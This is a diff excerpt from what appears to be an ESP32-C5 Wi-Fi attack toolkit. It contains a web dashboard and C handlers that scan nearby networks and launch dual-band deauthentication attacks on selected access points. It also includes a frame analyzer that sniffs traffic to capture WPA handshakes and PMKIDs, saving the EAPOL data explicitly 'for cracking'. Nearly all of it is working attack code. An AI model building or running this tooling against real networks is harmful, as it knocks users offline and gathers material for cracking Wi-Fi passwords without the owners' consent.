||||
"const ch5Labels=['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'];"
|
||||
"const ch5=Array(25).fill(0);"
|
||||
"networks.forEach(n=>{"
|
||||
"if(n.channel<=13)ch24[n.channel-1]++;"
|
||||
"else{const idx=ch5Labels.indexOf(String(n.channel));if(idx>=0)ch5[idx]++;}"
|
||||
"});"
|
||||
"charts.ch24.data.datasets[0].data=ch24;charts.ch24.update();"
|
||||
"charts.ch5.data.datasets[0].data=ch5;charts.ch5.update();"
|
||||
"}"
|
||||
|
||||
"// Update recon"
|
||||
"function updateRecon(){"
|
||||
"let securityStats={open:0,wep:0,wpa:0,wpa2:0,wpa3:0};"
|
||||
"networks.forEach(n=>{"
|
||||
"const s=(n.security||'').toLowerCase();"
|
||||
"if(s.includes('open'))securityStats.open++;"
|
||||
"else if(s.includes('wep'))securityStats.wep++;"
|
||||
"else if(s.includes('wpa3'))securityStats.wpa3++;"
|
||||
"else if(s.includes('wpa2'))securityStats.wpa2++;"
|
||||
"else if(s.includes('wpa'))securityStats.wpa++;"
|
||||
"});"
|
||||
"document.getElementById('security-analysis').innerHTML=`<p>Open: <strong style=color:#ff0040>${securityStats.open}</strong></p><p>WEP: <strong style=color:#ff9800>${securityStats.wep}</strong></p><p>WPA: <strong>${securityStats.wpa}</strong></p><p>WPA2: <strong style=color:#00ff41>${securityStats.wpa2}</strong></p><p>WPA3: <strong style=color:#00d4ff>${securityStats.wpa3}</strong></p>`;"
|
||||
"let reconHtml='<table><tr><th>SSID</th><th>Band</th><th>Channel</th><th>Signal</th><th>Security</th></tr>';"
|
||||
"networks.slice(0,20).forEach(n=>{"
|
||||
"reconHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td class='${n.channel<=14?'band-24':'band-5'}'>${n.channel<=14?'2.4GHz':'5GHz'}</td><td>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td></tr>`;"
|
||||
"});"
|
||||
"reconHtml+='</table>';"
|
||||
"document.getElementById('recon-data').innerHTML=reconHtml;"
|
||||
"}"
|
||||
|
||||
"// Deauth functions"
|
||||
"async function startDeauth(){"
|
||||
"if(!selected24&&!selected5){alert('Select at least one target first!');return;}"
|
||||
"const duration=document.getElementById('duration').value;"
|
||||
"if(!confirm(`Start DUAL-BAND attack?\\n\\n2.4GHz: ${selected24?selected24.ssid:'None'}\\n5GHz: ${selected5?selected5.ssid:'None'}\\n\\nDuration: ${duration}s\\n\\n⚠️ WiFi AP will be OFFLINE during attack!`))return;"
|
||||
"try{"
|
||||
"const body={duration:parseInt(duration)};"
|
||||
"if(selected24)body.target_24ghz={ssid:selected24.ssid,bssid:selected24.bssid,channel:selected24.channel};"
|
||||
"if(selected5)body.target_5ghz={ssid:selected5.ssid,bssid:selected5.bssid,channel:selected5.channel};"
|
||||
"const res=await fetch('/api/deauth/start',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)});"
|
||||
"const data=await res.json();"
|
||||
"document.getElementById('attack-stats').innerHTML=`<p style='color:#ff0040' class='status-running'>⚡ ATTACK RUNNING - WiFi will be unavailable!</p><p>Reconnect after ${duration}s when attack completes.</p>`;"
|
||||
"document.getElementById('attack-status').textContent='RUNNING';"
|
||||
"document.getElementById('attack-status').className='value status-running';"
|
||||
"}catch(e){alert('Error: '+e);}"
|
||||
"}"
|
||||
"async function stopDeauth(){"
|
||||
"try{await fetch('/api/deauth/stop');document.getElementById('attack-stats').innerHTML='<p style=\"color:#00ff41\">Attack stopped</p>';document.getElementById('attack-status').textContent='IDLE';}catch(e){}"
|
||||
"}"
|
||||
|
||||
"// System info"
|
||||
"async function loadSysInfo(){"
|
||||
"try{"
|
||||
"const res=await fetch('/api/system-info');"
|
||||
"const data=await res.json();"
|
||||
"document.getElementById('sysinfo').innerHTML=`<p>Chip: ${data.chip||'ESP32-C5'}</p><p>Free Heap: ${data.heap||'?'} bytes</p><p>Version: ${data.version||'1.0'}</p>`;"
|
||||
"document.getElementById('heap').textContent=Math.round((data.heap||0)/1024)+'KB';"
|
||||
"}catch(e){}"
|
||||
"}"
|
||||
"async function rebootDevice(){if(confirm('Reboot device?'))fetch('/api/reboot');}"
|
||||
|
||||
"// Init"
|
||||
"document.addEventListener('DOMContentLoaded',()=>{"
|
||||
"initCharts();"
|
||||
"loadSysInfo();"
|
||||
"scanNetworks();"
|
||||
"});"
|
||||
"</script>"
|
||||
"</body></html>";
|
||||
return html;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HANDLERS
|
||||
// ============================================================================
|
||||
|
||||
static esp_err_t root_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Serving enhanced dashboard");
|
||||
const char* html = get_enhanced_html();
|
||||
httpd_resp_set_type(req, "text/html");
|
||||
httpd_resp_send(req, html, strlen(html));
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t scan_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "WiFi scan requested");
|
||||
|
||||
// Reset channel stats
|
||||
memset(channel_24ghz, 0, sizeof(channel_24ghz));
|
||||
memset(channel_5ghz, 0, sizeof(channel_5ghz));
|
||||
|
||||
// Start scan
|
||||
wifi_scan_config_t scan_config = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time.active.min = 100,
|
||||
.scan_time.active.max = 300
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
|
||||
if (err != ESP_OK) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"networks\":[]}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
|
||||
if (last_scan_results) free(last_scan_results);
|
||||
last_scan_results = malloc(sizeof(wifi_ap_record_t) * ap_count);
|
||||
last_scan_count = ap_count;
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, last_scan_results);
|
||||
|
||||
// Build JSON
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON *networks = cJSON_CreateArray();
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
cJSON *ap = cJSON_CreateObject();
|
||||
cJSON_AddStringToObject(ap, "ssid", (char*)last_scan_results[i].ssid);
|
||||
cJSON_AddNumberToObject(ap, "rssi", last_scan_results[i].rssi);
|
||||
cJSON_AddNumberToObject(ap, "channel", last_scan_results[i].primary);
|
||||
|
||||
// BSSID
|
||||
char bssid[18];
|
||||
snprintf(bssid, sizeof(bssid), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
last_scan_results[i].bssid[0], last_scan_results[i].bssid[1],
|
||||
last_scan_results[i].bssid[2], last_scan_results[i].bssid[3],
|
||||
last_scan_results[i].bssid[4], last_scan_results[i].bssid[5]);
|
||||
cJSON_AddStringToObject(ap, "bssid", bssid);
|
||||
|
||||
// Band
|
||||
cJSON_AddStringToObject(ap, "band", last_scan_results[i].primary > 14 ? "5GHz" : "2.4GHz");
|
||||
|
||||
// Security
|
||||
const char* security;
|
||||
switch (last_scan_results[i].authmode) {
|
||||
case WIFI_AUTH_OPEN: security = "Open"; break;
|
||||
case WIFI_AUTH_WEP: security = "WEP"; break;
|
||||
case WIFI_AUTH_WPA_PSK: security = "WPA"; break;
|
||||
case WIFI_AUTH_WPA2_PSK: security = "WPA2"; break;
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: security = "WPA/WPA2"; break;
|
||||
case WIFI_AUTH_WPA3_PSK: security = "WPA3"; break;
|
||||
case WIFI_AUTH_WPA2_WPA3_PSK: security = "WPA2/WPA3"; break;
|
||||
default: security = "Unknown";
|
||||
}
|
||||
cJSON_AddStringToObject(ap, "security", security);
|
||||
|
||||
// Update channel stats
|
||||
if (last_scan_results[i].primary <= 13) {
|
||||
channel_24ghz[last_scan_results[i].primary]++;
|
||||
}
|
||||
|
||||
// Store RSSI for history
|
||||
rssi_history[rssi_index] = last_scan_results[i].rssi;
|
||||
rssi_index = (rssi_index + 1) % 50;
|
||||
|
||||
cJSON_AddItemToArray(networks, ap);
|
||||
}
|
||||
|
||||
cJSON_AddItemToObject(root, "networks", networks);
|
||||
cJSON_AddNumberToObject(root, "count", ap_count);
|
||||
|
||||
char *json = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json, strlen(json));
|
||||
|
||||
free(json);
|
||||
cJSON_Delete(root);
|
||||
|
||||
ESP_LOGI(TAG, "Found %d networks", ap_count);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t deauth_start_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Deauth start requested");
|
||||
|
||||
char buf[512];
|
||||
int ret = httpd_req_recv(req, buf, sizeof(buf) - 1);
|
||||
if (ret <= 0) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"No data\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
buf[ret] = '\0';
|
||||
|
||||
cJSON *root = cJSON_Parse(buf);
|
||||
if (!root) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Invalid JSON\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
deauth_target_t target_24 = {0};
|
||||
deauth_target_t target_5 = {0};
|
||||
|
||||
// Parse 2.4GHz target
|
||||
cJSON *t24 = cJSON_GetObjectItem(root, "target_24ghz");
|
||||
if (t24) {
|
||||
cJSON *ssid = cJSON_GetObjectItem(t24, "ssid");
|
||||
cJSON *bssid = cJSON_GetObjectItem(t24, "bssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t24, "channel");
|
||||
|
||||
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
strncpy(target_24.ssid, ssid->valuestring, sizeof(target_24.ssid) - 1);
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_24.bssid[0], &target_24.bssid[1], &target_24.bssid[2],
|
||||
&target_24.bssid[3], &target_24.bssid[4], &target_24.bssid[5]);
|
||||
target_24.channel = (uint8_t)channel->valueint;
|
||||
target_24.active = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Parse 5GHz target
|
||||
cJSON *t5 = cJSON_GetObjectItem(root, "target_5ghz");
|
||||
if (t5) {
|
||||
cJSON *ssid = cJSON_GetObjectItem(t5, "ssid");
|
||||
cJSON *bssid = cJSON_GetObjectItem(t5, "bssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t5, "channel");
|
||||
|
||||
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
strncpy(target_5.ssid, ssid->valuestring, sizeof(target_5.ssid) - 1);
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_5.bssid[0], &target_5.bssid[1], &target_5.bssid[2],
|
||||
&target_5.bssid[3], &target_5.bssid[4], &target_5.bssid[5]);
|
||||
target_5.channel = (uint8_t)channel->valueint;
|
||||
target_5.active = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Get duration
|
||||
cJSON *dur = cJSON_GetObjectItem(root, "duration");
|
||||
uint32_t duration = cJSON_IsNumber(dur) ? dur->valueint : 30;
|
||||
|
||||
cJSON_Delete(root);
|
||||
|
||||
// Start attack
|
||||
bool success = deauth_start_attack(
|
||||
target_24.active ? &target_24 : NULL,
|
||||
target_5.active ? &target_5 : NULL,
|
||||
duration
|
||||
);
|
||||
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Dual-band attack started\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start attack\"}");
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t deauth_stop_handler(httpd_req_t *req) {
|
||||
deauth_stop_attack();
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack stopped\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t sysinfo_handler(httpd_req_t *req) {
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON_AddStringToObject(root, "chip", "ESP32-C5");
|
||||
cJSON_AddNumberToObject(root, "heap", esp_get_free_heap_size());
|
||||
cJSON_AddStringToObject(root, "version", "2.0.0");
|
||||
cJSON_AddBoolToObject(root, "attack_running", deauth_is_running());
|
||||
|
||||
char *json = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json, strlen(json));
|
||||
|
||||
free(json);
|
||||
cJSON_Delete(root);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t reboot_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\"}");
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_restart();
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// URI HANDLERS
|
||||
// ============================================================================
|
||||
static httpd_uri_t uri_root = {.uri = "/", .method = HTTP_GET, .handler = root_handler};
|
||||
static httpd_uri_t uri_scan = {.uri = "/api/scan", .method = HTTP_GET, .handler = scan_handler};
|
||||
static httpd_uri_t uri_deauth_start = {.uri = "/api/deauth/start", .method = HTTP_POST, .handler = deauth_start_handler};
|
||||
static httpd_uri_t uri_deauth_stop = {.uri = "/api/deauth/stop", .method = HTTP_GET, .handler = deauth_stop_handler};
|
||||
static httpd_uri_t uri_sysinfo = {.uri = "/api/system-info", .method = HTTP_GET, .handler = sysinfo_handler};
|
||||
static httpd_uri_t uri_reboot = {.uri = "/api/reboot", .method = HTTP_GET, .handler = reboot_handler};
|
||||
|
||||
static httpd_handle_t server = NULL;
|
||||
|
||||
httpd_handle_t start_webserver(void) {
|
||||
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
|
||||
config.stack_size = 8192;
|
||||
config.max_uri_handlers = 10;
|
||||
|
||||
ESP_LOGI(TAG, "Starting enhanced web server");
|
||||
|
||||
if (httpd_start(&server, &config) == ESP_OK) {
|
||||
httpd_register_uri_handler(server, &uri_root);
|
||||
httpd_register_uri_handler(server, &uri_scan);
|
||||
httpd_register_uri_handler(server, &uri_deauth_start);
|
||||
httpd_register_uri_handler(server, &uri_deauth_stop);
|
||||
httpd_register_uri_handler(server, &uri_sysinfo);
|
||||
httpd_register_uri_handler(server, &uri_reboot);
|
||||
|
||||
ESP_LOGI(TAG, "Enhanced web server started at http://192.168.4.1");
|
||||
return server;
|
||||
}
|
||||
|
||||
ESP_LOGE(TAG, "Failed to start web server");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void stop_webserver(void) {
|
||||
if (server) {
|
||||
httpd_stop(server);
|
||||
server = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void init_web_server(void) {
|
||||
start_webserver();
|
||||
}
|
||||
336
ESP32-C5-Toolkit/main/frame_analyzer.c
Normal file
336
ESP32-C5-Toolkit/main/frame_analyzer.c
Normal file
@@ -0,0 +1,336 @@
|
||||
/**
|
||||
* @file frame_analyzer.c
|
||||
* @brief Frame analyzer implementation for EAPOL/Handshake/PMKID capture
|
||||
*
|
||||
* Parses 802.11 data frames to extract WPA handshake components
|
||||
*/
|
||||
#include "frame_analyzer.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
static const char *TAG = "frame_analyzer";
|
||||
|
||||
// Global state
|
||||
static uint8_t target_bssid[6] = {0};
|
||||
static uint8_t target_ssid[33] = {0};
|
||||
static uint8_t target_ssid_len = 0;
|
||||
static search_type_t current_search_type = SEARCH_HANDSHAKE;
|
||||
static handshake_data_t captured_handshake = {0};
|
||||
static pmkid_item_t *captured_pmkids = NULL;
|
||||
static SemaphoreHandle_t analyzer_mutex = NULL;
|
||||
static bool capture_active = false;
|
||||
|
||||
// EAPOL/LLC constants
|
||||
#define LLC_SNAP_HEADER_SIZE 8
|
||||
#define EAPOL_TYPE_KEY 0x03
|
||||
|
||||
void frame_analyzer_init(void) {
|
||||
if (analyzer_mutex == NULL) {
|
||||
analyzer_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
frame_analyzer_reset();
|
||||
ESP_LOGI(TAG, "Frame analyzer initialized");
|
||||
}
|
||||
|
||||
// Internal reset function without mutex (called when mutex is already held)
|
||||
static void frame_analyzer_reset_internal(void) {
|
||||
memset(&captured_handshake, 0, sizeof(captured_handshake));
|
||||
|
||||
// Free PMKIDs
|
||||
while (captured_pmkids) {
|
||||
pmkid_item_t *next = captured_pmkids->next;
|
||||
free(captured_pmkids);
|
||||
captured_pmkids = next;
|
||||
}
|
||||
captured_pmkids = NULL;
|
||||
}
|
||||
|
||||
void frame_analyzer_reset(void) {
|
||||
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
|
||||
frame_analyzer_reset_internal();
|
||||
xSemaphoreGive(analyzer_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
void frame_analyzer_capture_start(search_type_t search_type, const uint8_t *bssid, const uint8_t *ssid, uint8_t ssid_len) {
|
||||
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
|
||||
frame_analyzer_reset_internal(); // Use internal version (mutex already held)
|
||||
|
||||
current_search_type = search_type;
|
||||
memcpy(target_bssid, bssid, 6);
|
||||
|
||||
if (ssid && ssid_len > 0) {
|
||||
memcpy(target_ssid, ssid, ssid_len);
|
||||
target_ssid_len = ssid_len;
|
||||
memcpy(captured_handshake.ssid, ssid, ssid_len);
|
||||
captured_handshake.ssid_len = ssid_len;
|
||||
}
|
||||
|
||||
memcpy(captured_handshake.ap_mac, bssid, 6);
|
||||
capture_active = true;
|
||||
|
||||
ESP_LOGI(TAG, "Capture started for BSSID: %02x:%02x:%02x:%02x:%02x:%02x, SSID: %s",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5],
|
||||
ssid_len > 0 ? (char*)target_ssid : "(unknown)");
|
||||
|
||||
xSemaphoreGive(analyzer_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
void frame_analyzer_capture_stop(void) {
|
||||
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
|
||||
capture_active = false;
|
||||
ESP_LOGI(TAG, "Capture stopped");
|
||||
xSemaphoreGive(analyzer_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
bool is_frame_bssid_matching(const wifi_promiscuous_pkt_t *frame, const uint8_t *target_bssid) {
|
||||
const data_frame_t *data_frame = (const data_frame_t *)frame->payload;
|
||||
|
||||
// Check addr1, addr2, addr3 for BSSID match
|
||||
if (memcmp(data_frame->mac_header.addr1, target_bssid, 6) == 0 ||
|
||||
memcmp(data_frame->mac_header.addr2, target_bssid, 6) == 0 ||
|
||||
memcmp(data_frame->mac_header.addr3, target_bssid, 6) == 0) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
eapol_packet_t* parse_eapol_packet(data_frame_t *frame) {
|
||||
// Skip MAC header to get LLC/SNAP header
|
||||
uint8_t *body = frame->body;
|
||||
|
||||
// Check LLC/SNAP header
|
||||
llc_snap_header_t *llc = (llc_snap_header_t *)body;
|
||||
if (llc->snap_dsap != 0xAA || llc->snap_ssap != 0xAA || llc->control != 0x03) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Check EtherType for EAPOL (0x888e)
|
||||
uint16_t *ether_type = (uint16_t *)(body + 6);
|
||||
if (ntohs(*ether_type) != ETHER_TYPE_EAPOL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Return pointer to EAPOL packet (after LLC/SNAP header)
|
||||
return (eapol_packet_t *)(body + LLC_SNAP_HEADER_SIZE);
|
||||
}
|
||||
|
||||
eapol_key_packet_t* parse_eapol_key_packet(eapol_packet_t *eapol_packet) {
|
||||
if (eapol_packet->header.packet_type != EAPOL_KEY) {
|
||||
return NULL;
|
||||
}
|
||||
return (eapol_key_packet_t *)eapol_packet->packet_body;
|
||||
}
|
||||
|
||||
pmkid_item_t* parse_pmkid(eapol_key_packet_t *eapol_key_packet) {
|
||||
uint16_t key_data_len = ntohs(eapol_key_packet->key_data_length);
|
||||
if (key_data_len == 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pmkid_item_t *head = NULL;
|
||||
pmkid_item_t *tail = NULL;
|
||||
|
||||
uint8_t *key_data = eapol_key_packet->key_data;
|
||||
unsigned offset = 0;
|
||||
|
||||
while (offset < key_data_len) {
|
||||
key_data_field_t *field = (key_data_field_t *)(key_data + offset);
|
||||
|
||||
if (field->type == KEY_DATA_TYPE) {
|
||||
uint32_t oui = ntohl(field->oui << 8);
|
||||
if (oui == KEY_DATA_OUI_IEEE80211 && field->data_type == KEY_DATA_DATA_TYPE_PMKID_KDE) {
|
||||
// Found PMKID
|
||||
pmkid_item_t *item = malloc(sizeof(pmkid_item_t));
|
||||
if (item) {
|
||||
memcpy(item->pmkid, field->data, 16);
|
||||
item->next = NULL;
|
||||
|
||||
if (!head) {
|
||||
head = item;
|
||||
tail = item;
|
||||
} else {
|
||||
tail->next = item;
|
||||
tail = item;
|
||||
}
|
||||
ESP_LOGI(TAG, "PMKID captured!");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
offset += 2 + field->length; // type + length + data
|
||||
if (field->length == 0) break; // Prevent infinite loop
|
||||
}
|
||||
|
||||
return head;
|
||||
}
|
||||
|
||||
// Helper: Check if array is all zeros
|
||||
static bool is_zero_array(const uint8_t *arr, size_t len) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (arr[i] != 0) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Process handshake message from AP (M1 or M3)
|
||||
static void process_ap_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
// Copy AP MAC if not set
|
||||
if (is_zero_array(captured_handshake.ap_mac, 6)) {
|
||||
memcpy(captured_handshake.ap_mac, frame->mac_header.addr2, 6);
|
||||
}
|
||||
|
||||
// Determine M1 or M3 by checking Key MIC
|
||||
// M1: Key MIC is empty, M3: Key MIC is present
|
||||
if (is_zero_array(eapol_key->key_mic, 16)) {
|
||||
// This is M1 - contains ANonce
|
||||
ESP_LOGI(TAG, "Captured M1 (AP -> STA, ANonce)");
|
||||
memcpy(captured_handshake.anonce, eapol_key->key_nonce, 32);
|
||||
|
||||
if (captured_handshake.state < HANDSHAKE_STATE_M1_CAPTURED) {
|
||||
captured_handshake.state = HANDSHAKE_STATE_M1_CAPTURED;
|
||||
}
|
||||
} else {
|
||||
// This is M3 - also contains ANonce
|
||||
ESP_LOGI(TAG, "Captured M3 (AP -> STA)");
|
||||
|
||||
if (captured_handshake.state < HANDSHAKE_STATE_M3_CAPTURED) {
|
||||
if (captured_handshake.state < HANDSHAKE_STATE_M1_CAPTURED) {
|
||||
// Didn't see M1, copy ANonce from M3
|
||||
memcpy(captured_handshake.anonce, eapol_key->key_nonce, 32);
|
||||
}
|
||||
captured_handshake.state = HANDSHAKE_STATE_M3_CAPTURED;
|
||||
}
|
||||
|
||||
// If we already have M2, we have a complete handshake
|
||||
if (captured_handshake.state >= HANDSHAKE_STATE_M2_CAPTURED) {
|
||||
captured_handshake.complete = true;
|
||||
captured_handshake.message_pair = 2; // M1+M2 or M3+M2
|
||||
ESP_LOGI(TAG, "*** HANDSHAKE COMPLETE! ***");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Process handshake message from STA (M2 or M4)
|
||||
static void process_sta_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
// Copy STA MAC if not set
|
||||
if (is_zero_array(captured_handshake.sta_mac, 6)) {
|
||||
memcpy(captured_handshake.sta_mac, frame->mac_header.addr2, 6);
|
||||
}
|
||||
|
||||
// Determine M2 or M4 by checking SNonce
|
||||
// M2: SNonce is present, M4: SNonce is empty
|
||||
if (!is_zero_array(eapol_key->key_nonce, 32)) {
|
||||
// This is M2 - contains SNonce and MIC
|
||||
ESP_LOGI(TAG, "Captured M2 (STA -> AP, SNonce + MIC)");
|
||||
memcpy(captured_handshake.snonce, eapol_key->key_nonce, 32);
|
||||
memcpy(captured_handshake.mic, eapol_key->key_mic, 16);
|
||||
|
||||
// Save EAPOL packet for cracking
|
||||
uint16_t eapol_len = sizeof(eapol_packet_header_t) + ntohs(eapol->header.packet_body_length);
|
||||
if (eapol_len <= sizeof(captured_handshake.eapol)) {
|
||||
memcpy(captured_handshake.eapol, eapol, eapol_len);
|
||||
captured_handshake.eapol_len = eapol_len;
|
||||
|
||||
// Zero out MIC in saved EAPOL for verification during cracking
|
||||
memset(captured_handshake.eapol + 81, 0, 16);
|
||||
}
|
||||
|
||||
if (captured_handshake.state < HANDSHAKE_STATE_M2_CAPTURED) {
|
||||
captured_handshake.state = HANDSHAKE_STATE_M2_CAPTURED;
|
||||
}
|
||||
|
||||
// If we have M1, we have a complete handshake (M1+M2)
|
||||
if (captured_handshake.state >= HANDSHAKE_STATE_M1_CAPTURED) {
|
||||
captured_handshake.complete = true;
|
||||
captured_handshake.message_pair = 0; // M1+M2
|
||||
ESP_LOGI(TAG, "*** HANDSHAKE COMPLETE! ***");
|
||||
}
|
||||
} else {
|
||||
// This is M4
|
||||
ESP_LOGI(TAG, "Captured M4 (STA -> AP)");
|
||||
|
||||
if (captured_handshake.state < HANDSHAKE_STATE_M4_CAPTURED) {
|
||||
captured_handshake.state = HANDSHAKE_STATE_M4_CAPTURED;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void frame_analyzer_process_frame(wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!capture_active || type != WIFI_PKT_DATA) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_frame_bssid_matching(pkt, target_bssid)) {
|
||||
return;
|
||||
}
|
||||
|
||||
data_frame_t *frame = (data_frame_t *)pkt->payload;
|
||||
|
||||
// Parse EAPOL packet
|
||||
eapol_packet_t *eapol = parse_eapol_packet(frame);
|
||||
if (!eapol) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse EAPOL-Key packet
|
||||
eapol_key_packet_t *eapol_key = parse_eapol_key_packet(eapol);
|
||||
if (!eapol_key) {
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGD(TAG, "Got EAPOL-Key frame");
|
||||
|
||||
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, pdMS_TO_TICKS(10))) {
|
||||
if (current_search_type == SEARCH_PMKID) {
|
||||
// Looking for PMKID
|
||||
pmkid_item_t *pmkids = parse_pmkid(eapol_key);
|
||||
if (pmkids) {
|
||||
// Add to list
|
||||
if (!captured_pmkids) {
|
||||
captured_pmkids = pmkids;
|
||||
} else {
|
||||
pmkid_item_t *tail = captured_pmkids;
|
||||
while (tail->next) tail = tail->next;
|
||||
tail->next = pmkids;
|
||||
}
|
||||
}
|
||||
} else if (current_search_type == SEARCH_HANDSHAKE) {
|
||||
// Looking for handshake
|
||||
// Determine frame direction by comparing addr2 (source) with addr3 (BSSID)
|
||||
if (memcmp(frame->mac_header.addr2, frame->mac_header.addr3, 6) == 0) {
|
||||
// Source == BSSID, this is from AP
|
||||
process_ap_message(frame, eapol, eapol_key);
|
||||
} else if (memcmp(frame->mac_header.addr1, frame->mac_header.addr3, 6) == 0) {
|
||||
// Dest == BSSID, this is from STA
|
||||
process_sta_message(frame, eapol, eapol_key);
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(analyzer_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
handshake_state_t frame_analyzer_get_handshake_state(void) {
|
||||
return captured_handshake.state;
|
||||
}
|
||||
|
||||
const handshake_data_t* frame_analyzer_get_handshake(void) {
|
||||
return &captured_handshake;
|
||||
}
|
||||
|
||||
bool frame_analyzer_handshake_complete(void) {
|
||||
return captured_handshake.complete;
|
||||
}
|
||||
|
||||
pmkid_item_t* frame_analyzer_get_pmkids(void) {
|
||||
return captured_pmkids;
|
||||
}
|
||||
50
ESP32-C5-Toolkit/main/frame_analyzer.h
Normal file
50
ESP32-C5-Toolkit/main/frame_analyzer.h
Normal file
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* @file frame_analyzer.h
|
||||
* @brief Frame analyzer for 802.11 EAPOL/Handshake capture
|
||||
*/
|
||||
#ifndef FRAME_ANALYZER_H
|
||||
#define FRAME_ANALYZER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "esp_wifi.h"
|
||||
#include "frame_analyzer_types.h"
|
||||
|
||||
// Initialize frame analyzer
|
||||
void frame_analyzer_init(void);
|
||||
|
||||
// Start/Stop capture for specific BSSID
|
||||
void frame_analyzer_capture_start(search_type_t search_type, const uint8_t *bssid, const uint8_t *ssid, uint8_t ssid_len);
|
||||
